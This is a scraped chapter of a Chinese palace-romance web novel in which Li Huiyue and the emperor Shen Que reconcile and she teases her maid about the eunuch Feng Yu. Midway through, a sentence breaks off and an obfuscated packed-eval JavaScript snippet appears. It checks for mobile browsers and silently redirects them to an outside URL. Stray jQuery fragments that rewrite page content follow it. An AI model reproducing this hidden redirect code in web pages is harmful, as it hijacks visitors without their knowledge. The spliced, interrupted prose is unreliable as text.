默认冷灰
24号文字
方正启体

73. 清梦一场

作者:屿知一本书字数:K更新时间:
    李徽月手中捧着热茶,这段往事听得她身上发寒,喝着热茶都觉得心中有一丝寒意挥之不去。


    “对不起,徽月。”沈确搭上她的手,她的手虽有热茶温着,手背却一片寒凉。


    “这一场硬仗我必须要打,我不知道是输是赢,生死难料,所以我才离开了你。对不起,我隐瞒了你这么多。”


    李徽月放下杯盏,抚上他的脸庞,这是她记忆中陈实的面容,只是比陈实更清瘦,更爱皱眉,她怎么会认错呢,她第一眼就认出来了。


    “都过去了。”李徽月温声安慰道,“我从不骗你,我说我已不再怨怪陈实,是真的放下了。”


    她本就因着沈确的情意,将与陈实的往事放下了,如今又得知从前的那些误解与不得已,她还有什么理由能责怪他?


    沈确长手一揽,一把将她搂住怀里,将脸埋在她的脖颈,闷闷地说:“我原以为我说了这些,你就不要我了。”


    沈确说得委屈,李徽月却不由地一笑,只觉得他像个孩子一般。她忽的想起六年前,她在家门口遇见他,她说起父母将她忘在学堂之事,他的反应也是问她:你是担心父母不要你吗?


    她隐约找到了他的心结,便将他的头扶正,认真地问道:“为何你总觉得我会不要你?”


    沈确看着她怔了许久,抱着她的手又紧了些:“我在乎你……”


    李徽月见状,大概明白他暂且不愿意与她说,便接着他的话头道:“我也在乎你,我不会离开你的。”


    沈确的眼睛亮晶晶的,一派纯真无害,她忍不住吻上他的眼睛,又吻了吻他的眉心。他的眉头受到她的亲吻,似乎舒展了一些,面容也更加温和。


    李徽月自知口说无凭,只是眼下还不知道能用什么方法真的让他确信,靠在他的肩膀上想了许久,直到睡意汹涌来袭。


    沈确瞧出她的困乏,也知今夜与她说了太多,是时候该歇下了,便将她打横抱起安置在了床上。


    他轻柔地吻了吻她的额角,抚了抚她额间的碎发,转身将要走,却被她一把牵住了手。


    他身子一僵,有些迟缓地转回身子,却见李徽月眸子晶莹地看着他,似乎在等着什么。


    空气一时变得有些稀薄,他有些难以呼吸,将脸凑近了她,迎接他的是李徽月勾在他脖子上的双臂和柔软的粉唇。


    今夜互诉衷肠,得知了那么多往事,本该成为夫妻的两人多少都怨怪造化弄人,吻得情深意重,将那些不甘与错过都化作了唇齿间的缠绵。


    李徽月吻得身子一软,仿佛融化在了床榻上一般,手臂却依旧勾着他的脖子不放,将他的身子都带着压到了床上。


    沈确吻在她的唇上犹觉不够,深吸一口气吻向她的颈窝,深嗅她身上的茉莉香气,香气清凉却闻得他身上阵阵发热。


    再吻下去就不合适了。


    沈确凭着理智抽离,身下的人也是从眼神迷离到逐渐清明。


    “徽月,这次我一定能与你成婚。”沈确郑重承诺道,“原是计划在国丧期内铲除魏进忠,如今看来还差些日子。”


    李徽月抚上他的胸膛:“婚事不急,凡事以朝堂为先。”


    沈确舔了舔嘴唇,想起四年前他欲往李府提亲却百般拖延的结果,下定了决心:“夜长梦多,这次我不会再让你等了。明日我便去见你的父亲,待国丧期一过,我便与你成婚。”


    李徽月怔怔地看着他,他这决定来得突然,像是今日与她说开往事之后才想通定下的。欲速则不达,她不愿他清整朝堂的计划受二人的感情影响,仍是宽慰道:“不急不急。”


    “我急。”


    沈确定定地望着她的眼眸,耳根已然涨红,他是个正常男子,自然经受不住她每晚让他这般软玉温香抱满怀,却赴不得巫山云雨。


    李徽月听出了他话里话外的意思,原本抚在他胸膛的手一推,便红着脸侧过了身去,直道自己要睡了。


    沈确自知自己的话冒昧,瞧见她的模样却又忍不住低声一笑,掖好她的被子便悄然离去。


    李徽月听见他离去的动静,脸上的热退了一些,乌黑的眼珠转了转肖想了起来,随即立马摇了摇头,不许自己再幻想下去。


    只是她虽能控制住自己不去想,却控制不住梦境。


    翌日李徽月醒来,只觉得自己累了一夜,脑袋里像搭了个戏台子,一出一出的戏不断地演,简直不得安生。


    昨晚的梦境纷繁复杂,从她与陈实的往事演到了她与沈确的将来,梦中的痴缠婉转、罗带轻分,让她醒来后仍是面红耳赤。


    都怪沈确在她睡前与她说了那番话。


    她咬着嘴唇,回味起梦中那派旖旎的景象,不免有些失神。


    “主子……主子?”春风的声音由远及近,终于将李徽月的意识唤回,她用力晃了晃脑袋,暗自告诫自己不可再胡思乱想。


    春风觉得主子今日的情状有些奇怪,伸手在她的额上一搭,吓了一跳:“主子额头好烫,奴婢去给您传太医。”


    春风话音未落便被李徽月拦住,她红着脸只道自己没事,春风虽怀疑着,也只好作罢。


    用过早膳,李徽月将她与沈确的往事告知春风,春风听了许久惊得合不拢嘴:“主子是说,陈实既是先帝也是皇上,而主子相识的陈实,的确是皇上无疑。”


    李徽月点点头,春风大松一口气:“我就说主子怎么会认错人,那自大鬼冯玉非要说是皇室子弟容貌相似,我都被他唬住了。细细想来,女子怎会认错自己的意中人。”


    春风说着,忽而觉得自己说漏了嘴,急忙将嘴捂了起来,可李徽月却早已听见。


    “冯玉以为陈实是谁?”李徽月饶有兴趣地问道。


    “他……他认为陈实是先帝。”春风低着头小声说道。


    “冯玉这般猜想倒也猜对了一半,只是他有何根据?”


    春风思索了许久,缓缓道:“当日他听说陈实送过主子一个木雕,便开始对陈实的身份心生怀疑。”


    木雕……竟把这茬给忘了,昨日二人并没有提起木雕这种细枝末节,但此事也的确奇怪。杜青眉与自己的木雕娃娃显然是一对,也是出自一人之手。杜青眉既说是亲眼见先帝做的这木雕,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027180|189002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这两个娃娃便应都是先帝做的才对。


    也许,这木雕是沈确当初得来借花献佛的。李徽月暗自思忖着,倒也没有往心里去,二人的前尘既已铺开,心中也没了龃龉,她只觉一片天高海阔,好不畅快。


    李徽月不再纠结这等小事,又听得春风道:“主子要将这件喜事告诉三位娘娘吗?”


    李徽月抬眼望着春风,犹豫了片刻:“我想过告诉她们,却又觉得不妥。小尚与赵景明分别,只怕背地里还在伤心。绮罗总觉得我若做了后妃会吃苦,不希望我与皇上在一起。至于宁蕊,她自然是希望我好的,只是对感情之事她也是不咸不淡,无甚兴趣。”


    春风点点头:“怪不得今日主子先与奴婢说起了此事。”


    李徽月却笑,刮了刮春风的鼻子:“你自然也很重要,你心思单纯又待我一心一意,我当然要与你说。”


    春风闻言也笑了笑,却听得李徽月继续道:“只是你可不要又被冯玉诓骗,将什么事都一股脑地告诉了他。”


    听到冯玉的名字,春风嘴巴一撅:“他惯会使一些糖衣炮弹骗我的,前些日子给我送了胭脂首饰,就为了打听主子和皇上的事,当真是比宫里的婆子还要八卦。”


    李徽月听得直笑,忽而又觉得奇怪:“冯玉日日跟在皇上身边,我们二人的事他知道的不比你少,为何还要整日来听你说?”


    春风闻言却低下了头,脸上飞上两朵红晕,李徽月见她神情不寻常,恍然道:“原来……他不是为了打听我俩的事儿,而是特意找个由头来与你说话?”


    “他的那些礼物,说是为了讨好你叫你讲故事给他听,其实就是他自个儿想送你吧!”


    李徽月越说越兴奋,面上既惊讶又欣喜,仿佛不敢相信春风竟与冯玉私底下有了这般交情。


    春风讨饶,直呼主子别说了,脸上已红得鲜艳欲滴。她拧着手帕,羞赧得开口:“冯玉他就是爱打听,我是懒得搭理他的。”


    “是吗?我看他对其他宫人还是挺冷言冷语的,在宫中很是有威望……”李徽月托着腮观察春风的反应。


    春风细想冯玉在她跟前的言行,多半是向她温声讨好,哪有什么冷言冷语的样子,面上不免多了丝疑惑:“他……有吗?”


    “没有吗——”李徽月将疑问拖得长长的,“那就是偏对你好啰。”


    春风立刻急了连连摇头,她急切地辩驳:“那皇上也是对旁人冷面,对主子可是温柔体贴的。”


    春风这话立马便被李徽月抓住了关窍,她打趣道:“皇上是喜欢我才会这样,如此说来,你也觉得冯玉喜欢你啰?”


    李徽月见春风急得差点跳脚,不由地笑了起来,却听得身后传来沉稳的声音:“原来……我是喜欢你才会这样。”


    李徽月身子一僵,面前的春风早已扑通地跪下向她身后的人行礼,她自然认得他的声音,却没想到此时此刻他会出现在清辉殿。


    她脖子僵直地缓缓转过头,却见沈确在她的身后抱着双臂,面上饶有趣味,含笑看着她。而他一旁的冯玉身子如春风一般僵直,一副呆若木鸡的模样。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)